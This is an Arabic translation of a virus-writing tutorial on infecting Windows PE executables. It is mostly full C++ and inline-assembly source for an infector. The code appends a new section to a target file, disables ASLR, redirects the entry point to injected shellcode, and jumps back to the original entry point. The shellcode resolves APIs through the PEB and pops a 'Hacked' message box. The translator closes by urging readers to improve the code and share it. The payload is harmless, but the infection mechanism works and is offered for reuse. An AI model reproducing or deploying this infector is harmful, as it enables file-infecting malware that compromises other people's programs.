Another Detailed Guide to PE Infection

Researcher: Athena from Rohitab Group

رابط الورقة البحثية:
https://vxug.fakedoma.in/papers/VXUG/Mirrors/AnotherdetailedguidetoPEinfection.txt

هذا العمل تطوعي بهدف نشر هذه الأبحاث للعالم العربي، أسألكم الدعاء.
أنا لست خبيراً في الترجمة، إن رأيت أي خطأ أو ترغب في الاقتراح أو التواصل، قم بإرسال رسالة على تويتر 0x1411.

في هذه الورقة البحثية أرغب بشرح ما هي إصابة الملفات من نوع PE بالتفصيل (PE Infection)، الموضوع الذي يبدو كأنه صعبٌ في البداية، لكنه سيكون ممتعاً في النهاية!

حتى تتمكن من فهم هذه الورقة البحثية لابد من:
١- معرفة جيدة بالملفات من نوع PE.
٢- معرفة جيدة بالأسمبلي.
٣- معرفة جيدة بذاكرة التخزين المؤقتة (Memory)، والمؤشرات (Pointers) والعمليات على الملفات (File Operations).
٤- الصبر!

في البداية سنقوم بإضافة قطاع فارغ (Empty PE Section)، وبمعرفة مسار الملف سنقوم بالتالي:
١- قراءة الملف كاملاً.
٢- التأكد من DOS Signature لضمان صلاحية الملف.
٣- التأكد من كونه x86 Executable وهذه خطوة مهمة لأننا سنقوم بحقن x86 Opcode في هذا القطاع.
٤- التأكد إن كان القطاع الذي نرغب في إنشائه موجود بالفعل أم لا.
بعد الانتهاء من الخطوات السابقة نقوم بإنشاء القطاع بمعرفة حجمه وخصائصه، سأقوم بإضافة التعليقات خلال الكود لشرح أفضل.

كل هذا يتم عن طريق الدالة AddSection، من الأمور الجيد ذكرها أن أن الطريقة المشروحة في هذه الورقة البحثية تستخدم ملف موجود على الذاكرة (Disk)، بدون موضعته في الذاكرة المؤقتة (Memory Mapping) وبتطبيق العمليات قراءة/كتابة هناك، والتي تعتمد بصورة كبيرة على مؤشرات الملف.

الجزء الثاني والأصعب هو إضافة الكود في هذا القطاع المُنشأ حديثاً، والمفهوم الذي أريد إثباته وشرحه هو:
١- إضافة قطاع جديد.
٢- إستعادة وحفظ مؤشر الدخول الأصلي (Original Entry Pointer) من العنوان الاختياري (Optional Header) لكونه العنوان الذي يبدأ منه البرنامج التنفيذ.
٣- تغيير مؤشر الدخول الأصلي (Original Entry Pointer) للقطاع الذي أنشأناه حديثاً، ف إذا قام المستخدم بتشغيل البرنامج يقوم البرنامج بتنفيذ الكود الذي أضفناه ونريد تشغيله قبل أن يقوم البرنامج باستئناف تنفيذ كوده الأصلي، ثم العودة لمؤشر الدخول الأصلي فيستأنف البرنامج تنفيذ كوده الأساسي بشكل طبيعي! في هذه الحالة سأقوم بإظهار نافذة للمستخدم فيها "تم الإختراق!!!".

مهم

بما إن المُحَمّل (Loader) يقوم بتحميل Kernel32 بعنواين مختلفة في كل مرة نقوم بإعادة تشغيل الكمبيوتر فيها، يجب علينا أن نستعيد العنوان المركزي (Base Address) ديناميكياً من بيئة عمليات الحوسبة (PEB; Process Environment Block)، ثم بعدها نقوم بالبحث عن الدالة LoadLibraryA في جدول التصدير (Export Table) ومن ثم إستعادتها وإضافة user32.dll ك حد لها (Argument) ، ثم نقوم بإستعادة عنوان الدالة MessageBoxA من user32.dll باستخدام الدالة GetProcAddress.
كل هذه الخطوات يجب علينا تنفيذها في القطاع الذي أنشأناه حديثاً!!

كيف يتم كل هذا إذاً؟ يجب علينا إنتاج Opcode من ASMcode بداخل الأسمبلر، ثم نسخه في القطاع الجديد.
يتم هذا عن طريق كود عبقري أطلق عليه "ذاتي القراءة"، جميع حقوق نشر الكود محفوظة ل wap2k.

ملحوظة المترجم: قام الباحث بإضافة العديد من التعليقات في الكود محل الدراسة، سأقوم بترجمتها، لكن بسبب إختلاف التنسيق وبداية الكتابة في اللغة العربية عن الإنجليزية قد تبدو الأمور مبعثرة، لكن سأحاول قدر المستطاع تحسين الشكل العام، لكن إذا أردت تجربة الكود قم بإزالتهم.

```
DWORD start(0), end(0);
    __asm{
        mov eax, loc1
        mov[start], eax
//سنقوم بالقفز للدالة asm__الثانية حتى لاتُنفذ الأولى في الدالة المصيبة
        jmp over
        loc1:
          }
__asm{
//الOpcodeالذي نرغب بكتابته ونسخه في القطاع الجديد
    }

    __asm{
        over:
        mov eax, loc2
        mov [end],eax
        loc2:
           }
```

- قمنا بإنشاء عنوانين بإستخدام أسمبلي كود، أولهما يمثل بداية Opcode القطاع والآخر في النهاية، الكود في منتصف الدالة asm__ الثانية هو محل اهتمامنا، لذا بعملية حسابية بسيطة (العنوان النهائي – العنوان الابتدائي) نحصل على العنوان (Offset) الذي سنقوم بنسخ الكود به، وبدون نسخ أي Opcode إضافي وإلا سنقوم بإتلاف العملية.
- قمنا بتجاوز الكود في المنتصف عن طريق الأمر jmp over حتى لا نقوم بتنفيذه أثناء عملية الإصابة.
- في الكود الموجود في المنتصف، سنقوم بالبحث عن عنوان kernel32.dll المركزي (Base Address)، والبحث أيضاً عن LoadLibraryA و GetProcAddress حتى نعثر في النهاية على MessageBoxA فنقوم بإستدعائها لإظهار الرسالة المطلوبة!
- بعد الإنتهاء من البحث وإستدعاء هذه الدوال سنقوم بالعودة مرة أخرى لمؤشر الدخول الأصلي (OEP) حتى يتابع البرنامج تنفيذ كوده الأصلي (البحث والإستدعاء يتم تنفيذه عن طريق البرنامج المصاب، أعتقد أنك فهمت بالفعل ماذا يحدث)
- لأن قيمة مؤشر الدخول الأصلي مخزنة في متغير بداخل الكود المُصيب، إذا كنا نرغب بالإشارة لها في الOpcode لن يُنفذ الكود "ذاتي القراءة" الذي ذكرناه سابقاً بسبب خطأ في العنوان (Invalid Address).
- بما أننا نشير إلى شئ موجود هنا بالفعل (وليس في قطاع البيانات في البرنامج المصاب – Infected PE's Data Section)، فالحل: سنقوم بإنشاء مخزن (Place Holder) بأي إسم وليكن 0xdeadbeef ثم نقوم بتخزين مؤشر الدخول الأصلي (OEP) في هذا المخزن مما سيسهل علينا العودة لها لاحقاً.
سنقوم بإستبدال 0xdeadbeef ب OEP يدوياً كما في المثال القادم.

```
if (*invalidEP == 0xdeadbeef){
            DWORD old;
            VirtualProtect((LPVOID)invalidEP, 4,
PAGE_EXECUTE_READWRITE, &old);
            *invalidEP = OEP;
        }
```

ملحوظة الباحث: الكود القادم ملئ بالتعليقات لرغبتي في شرح كل جزء بالتفصيل.

This is the code:

```
#include <windows.h>
#include <imagehlp.h>
#include <winternl.h>
#include <stdio.h>
#pragma comment(lib, "imagehlp")

DWORD align(DWORD size, DWORD align, DWORD addr){
    if (!(size % align))
        return addr + size;
    return addr + (size / align + 1) * align;
}

int AddSection(char *filepath, char *sectionName, DWORD sizeOfSection){
    HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE, 0,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (file == INVALID_HANDLE_VALUE){
        CloseHandle(file);
```

```
        return 0;
    }
    DWORD fileSize = GetFileSize(file, NULL);
    if (!fileSize){
        CloseHandle(file);
        //ملف فارغ، لذا غير صالح
        return -1;
    }
    //حتى نعرف حجم المخزن المؤقت الذي سنقوم بإنشاؤه
    BYTE *pByte = new BYTE[fileSize];
    DWORD dw;
    //سنقوم بقراءة الملف بالكامل حتى نستطيع إستخدام تلك المعلومات
    ReadFile(file, pByte, fileSize, &dw, NULL);

    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte;
    if (dos->e_magic != IMAGE_DOS_SIGNATURE){
        CloseHandle(file);
        return -1; //invalid PE
    }
    PIMAGE_NT_HEADERS NT = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew);
    if (NT->FileHeader.Machine != IMAGE_FILE_MACHINE_I386){
        CloseHandle(file);
        return -3;//x64 image
    }
    PIMAGE_SECTION_HEADER SH = IMAGE_FIRST_SECTION(NT);
    WORD sCount = NT->FileHeader.NumberOfSections;

    // سنقوم بالمرور على جميع القطاعات، لنتأكد إن كان القطاع المراد إضافته
موجود بالفعل أم لا
```

```
     for (int i = 0; i < sCount; i++){
        PIMAGE_SECTION_HEADER x = SH + i;
        if (!strcmp((char *)x->Name, sectionName)){
            //PE section already exists
            CloseHandle(file);
            return -2;
        }
    }

    ZeroMemory(&SH[sCount], sizeof(IMAGE_SECTION_HEADER));
    CopyMemory(&SH[sCount].Name, sectionName, 8);
    // سنقوم بإستخدام ٨ بايتس لإسم القطاع، وهذا هو الحد الأقصى
    //الآن سنقوم بإدخال جميع المعلومات الأساسية للقطاع الجديد

    SH[sCount].Misc.VirtualSize = align(sizeOfSection, NT-
>OptionalHeader.SectionAlignment, 0);
    SH[sCount].VirtualAddress = align(SH[sCount - 1].Misc.VirtualSize, NT-
>OptionalHeader.SectionAlignment, SH[sCount - 1].VirtualAddress);
    SH[sCount].SizeOfRawData = align(sizeOfSection, NT-
>OptionalHeader.FileAlignment, 0);
    SH[sCount].PointerToRawData = align(SH[sCount - 1].SizeOfRawData, NT-
>OptionalHeader.FileAlignment, SH[sCount - 1].PointerToRawData);
    SH[sCount].Characteristics = 0xE00000E0;

    /*
    0xE00000E0 = IMAGE_SCN_MEM_WRITE |
                 IMAGE_SCN_CNT_CODE  |
                 IMAGE_SCN_CNT_UNINITIALIZED_DATA  |
                 IMAGE_SCN_MEM_EXECUTE |
                 IMAGE_SCN_CNT_INITIALIZED_DATA |
```

```
                IMAGE_SCN_MEM_READ
    */

    SetFilePointer(file, SH[sCount].PointerToRawData +
SH[sCount].SizeOfRawData, NULL, FILE_BEGIN);

     //نهاية الملف هنا بالتحديد
    SetEndOfFile(file);

    //سنقوم بتغيير حجم الصورة/الإمدج، حتى تتلاءم مع التعديلات الجديدة
    //بسبب إضافة قطاع جديد لابد أن حجم الصورة/الإمدج قد زاد
    NT->OptionalHeader.SizeOfImage = SH[sCount].VirtualAddress +
SH[sCount].Misc.VirtualSize;

    //بسبب إضافة القطاع الجديد، يجب علينا أيضاً تغيير عدد القطاعات الكلي
    NT->FileHeader.NumberOfSections += 1;
    SetFilePointer(file, 0, NULL, FILE_BEGIN);

    //وأخيراً تم إضافة جميع التعديلات على الملف الجديد

    WriteFile(file, pByte, fileSize, &dw, NULL);
    CloseHandle(file);
    return 1;
}

bool AddCode(char *filepath){
    HANDLE file = CreateFile(filepath, GENERIC_READ | GENERIC_WRITE, 0,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (file == INVALID_HANDLE_VALUE){
        CloseHandle(file);
```

```
        return false;
    }
    DWORD filesize = GetFileSize(file, NULL);
    BYTE *pByte = new BYTE[filesize];
    DWORD dw;
    ReadFile(file, pByte, filesize, &dw, NULL);
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pByte;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(pByte + dos->e_lfanew);

    //VERY IMPORTANT
    //IF ASLR IS ENABLED,THIS WILL NOT WORK !!!
    //Solution: Disable ASLR =))
    nt->OptionalHeader.DllCharacteristics &=
~IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE;

    // القطاع المضاف لابد أنه آخر القطاعات الموجودة في الدالة، لذا لابد من
التوجه إليه حتى نستطيع إضافة الكود المصيب

    PIMAGE_SECTION_HEADER first = IMAGE_FIRST_SECTION(nt);
    PIMAGE_SECTION_HEADER last = first + (nt->FileHeader.NumberOfSections -
1);

    SetFilePointer(file, 0, 0, FILE_BEGIN);
    //سنقوم بحفظ مؤشر الدخول الأصلي

    DWORD OEP = nt->OptionalHeader.AddressOfEntryPoint + nt-
>OptionalHeader.ImageBase;

    //سنقوم بتغيير مؤشر التنفيذ ليشير إلى آخر قطاع تم إنشاؤه
    nt->OptionalHeader.AddressOfEntryPoint = last->VirtualAddress;
```

```
    WriteFile(file, pByte, filesize, &dw, 0);

    //سنقوم بالحصول على الأوبكود
    DWORD start(0), end(0);
    __asm{
        mov eax, loc1
        mov[start], eax
        // سنقوم بالقفز للدالة الثانية حتى لانقوم بتنفيذ تلك الدالة بداخل
المصيب
        jmp over
        loc1:
    }

    __asm{
        /*
الهدف من هذا الجزء هو قراءة العنوان المركزي ل kernel32.dll من PEB ثم البحث
في جدول التصدير عن الدوال المرغوبة
        */
        mov eax, fs:[30h]
        mov eax, [eax + 0x0c]; 12
        mov eax, [eax + 0x14]; 20
        mov eax, [eax]
        mov eax, [eax]
        mov eax, [eax + 0x10]; 16

        mov   ebx, eax; Take the base address of kernel32
        mov   eax, [ebx + 0x3c]; PE header VMA
        mov   edi, [ebx + eax + 0x78]; Export table relative offset
        add   edi, ebx; Export table VMA
        mov   ecx, [edi + 0x18]; Number of names
```

```
        mov   edx, [edi + 0x20]; Names table relative offset
        add   edx, ebx; Names table VMA

    // ألق نظرة على الدالة المسئولة عن إظهار الرسائل

        LLA :
        dec ecx
            mov esi, [edx + ecx * 4]; Store the relative offset of the name
            add esi, ebx; Set esi to the VMA of the current name
            cmp dword ptr[esi], 0x64616f4c; backwards order of bytes
L(4c)o(6f)a(61)d(64)
            je LLALOOP1
        LLALOOP1 :
        cmp dword ptr[esi + 4], 0x7262694c
            ;L(4c)i(69)b(62)r(72)
            je LLALOOP2
        LLALOOP2 :
        cmp dword ptr[esi + 8], 0x41797261; third dword =
a(61)r(72)y(79)A(41)
            je stop; if its = then jump to stop because we found it
            jmp LLA; Load Libr aryA
        stop :
        mov   edx, [edi + 0x24]; Table of ordinals relative
            add   edx, ebx; Table of ordinals
            mov   cx, [edx + 2 * ecx]; function ordinal
            mov   edx, [edi + 0x1c]; Address table relative offset
            add   edx, ebx; Table address
            mov   eax, [edx + 4 * ecx]; ordinal offset
            add   eax, ebx; Function VMA
```

```
            // EAX holds address of LoadLibraryA now

            sub esp, 11
            mov ebx, esp
            mov byte ptr[ebx], 0x75; u
            mov byte ptr[ebx + 1], 0x73; s
            mov byte ptr[ebx + 2], 0x65; e
            mov byte ptr[ebx + 3], 0x72; r
            mov byte ptr[ebx + 4], 0x33; 3
            mov byte ptr[ebx + 5], 0x32; 2
            mov byte ptr[ebx + 6], 0x2e; .
            mov byte ptr[ebx + 7], 0x64; d
            mov byte ptr[ebx + 8], 0x6c; l
            mov byte ptr[ebx + 9], 0x6c; l
            mov byte ptr[ebx + 10], 0x0

            push ebx

            //lets call LoadLibraryA with user32.dll as argument
            call eax;
            add esp, 11
            //save the return address of LoadLibraryA for later use in
GetProcAddress
            push eax

            // now we look again for a function named GetProcAddress
            mov eax, fs:[30h]
            mov eax, [eax + 0x0c]; 12
            mov eax, [eax + 0x14]; 20
```

```
            mov eax, [eax]
            mov eax, [eax]
            mov eax, [eax + 0x10]; 16

            mov   ebx, eax; Take the base address of kernel32
            mov   eax, [ebx + 0x3c]; PE header VMA
            mov   edi, [ebx + eax + 0x78]; Export table relative offset
            add   edi, ebx; Export table VMA
            mov   ecx, [edi + 0x18]; Number of names

            mov   edx, [edi + 0x20]; Names table relative offset
            add   edx, ebx; Names table VMA
        GPA :
        dec ecx
            mov esi, [edx + ecx * 4]; Store the relative offset of the name
            add esi, ebx; Set esi to the VMA of the current name
            cmp dword ptr[esi], 0x50746547; backwards order of bytes
G(47)e(65)t(74)P(50)
            je GPALOOP1
        GPALOOP1 :
        cmp dword ptr[esi + 4], 0x41636f72
            // backwards remember : ) r(72)o(6f)c(63)A(41)
            je GPALOOP2
        GPALOOP2 :
        cmp dword ptr[esi + 8], 0x65726464; third dword =
d(64)d(64)r(72)e(65)
            //no need to continue to look further cause there is no other
function starting with GetProcAddre
            je stp; if its = then jump to stop because we found it
            jmp GPA
```

```
stp :
    mov   edx, [edi + 0x24]; Table of ordinals relative
    add   edx, ebx; Table of ordinals
    mov   cx, [edx + 2 * ecx]; function ordinal
    mov   edx, [edi + 0x1c]; Address table relative offset
    add   edx, ebx; Table address
    mov   eax, [edx + 4 * ecx]; ordinal offset
    add   eax, ebx; Function VMA
    // EAX HOLDS THE ADDRESS OF GetProcAddress
    mov esi, eax

    sub esp, 12
    mov ebx, esp
    mov byte ptr[ebx], 0x4d //M
    mov byte ptr[ebx + 1], 0x65 //e
    mov byte ptr[ebx + 2], 0x73 //s
    mov byte ptr[ebx + 3], 0x73 //s
    mov byte ptr[ebx + 4], 0x61 //a
    mov byte ptr[ebx + 5], 0x67 //g
    mov byte ptr[ebx + 6], 0x65 //e
    mov byte ptr[ebx + 7], 0x42 //B
    mov byte ptr[ebx + 8], 0x6f //o
    mov byte ptr[ebx + 9], 0x78 //x
    mov byte ptr[ebx + 10], 0x41 //A
    mov byte ptr[ebx + 11], 0x0


    mov eax, [esp + 12]
    push ebx; MessageBoxA
    push eax; base address of user32.dll retrieved by LoadLibraryA
```

```
        call esi; GetProcAddress address :))
        add esp, 12

    sub esp, 8
    mov ebx,esp
    mov byte ptr[ebx], 72; H
    mov byte ptr[ebx + 1], 97; a
    mov byte ptr[ebx + 2], 99; c
    mov byte ptr[ebx + 3], 107; k
    mov byte ptr[ebx + 4], 101; e
    mov byte ptr[ebx + 5], 100; d
    mov byte ptr[ebx + 6], 0

    push 0
    push 0
    push ebx
    push 0
    call eax
    add esp, 8

    mov eax, 0xdeadbeef ;Original Entry point
    jmp eax
}

__asm{
    over:
    mov eax, loc2
    mov [end],eax
    loc2:
}
```

```
    byte mac[1000];
    byte *fb = ((byte *)(start));
    DWORD *invalidEP;
    DWORD i = 0;

    while (i < ((end - 11) - start)){
        invalidEP = ((DWORD*)((byte*)start + i));
        if (*invalidEP == 0xdeadbeef){

            /*
لأن قيمة مؤشر الدخول الأصلي مخزن في هذا القطاع، إذا قمنا ب mov eax, OEP الكود
ذاتي القراءة سينهار بسبب عدم صلاحية العنوان.
الحل: نقوم بإنشاء مخزن بالقيمة التي ذكرناها سابقاً 0xdeadbeef والتي يسهل
تخزين مؤشر الدخول الاصلي فيها واستدعاؤه لاحقاً.
            */
            DWORD old;
            VirtualProtect((LPVOID)invalidEP, 4, PAGE_EXECUTE_READWRITE,
&old);
            *invalidEP = OEP;
        }
        mac[i] = fb[i];
        i++;
    }
    SetFilePointer(file, last->PointerToRawData, NULL, FILE_BEGIN);
    WriteFile(file, mac, i, &dw, 0);
    CloseHandle(file);
    return true;
}
```

```
void main(){
    char *file = "C:\\Users\\M\\Desktop\\Athena.exe";
    int res = AddSection(file, ".ATH", 400);
    switch (res){
    case 0:
        printf("Error adding section: File not found or in use!\n");
        break;
    case 1:
        printf("Section added!\n");
        if (AddCode(file))
            printf("Code written!\n");
        else
            printf("Error writting code!\n");
        break;
    case -1:
        printf("Error adding section: Invalid path or PE format!\n");
        break;
    case -2:
        printf("Error adding section: Section already exists!\n");
        break;
    case -3:
        printf("Error: x64 PE detected! This version works only with x86
PE's!\n");
        break;
    }
}
```

قم بتجربة هذا الكود، قم بتعديله وتحسينه للأفضل، والأهم من هذا كله، شاركه مع الآخرين =)!

تم بحمد الله وتوفيقه، أسألكم الدعاء.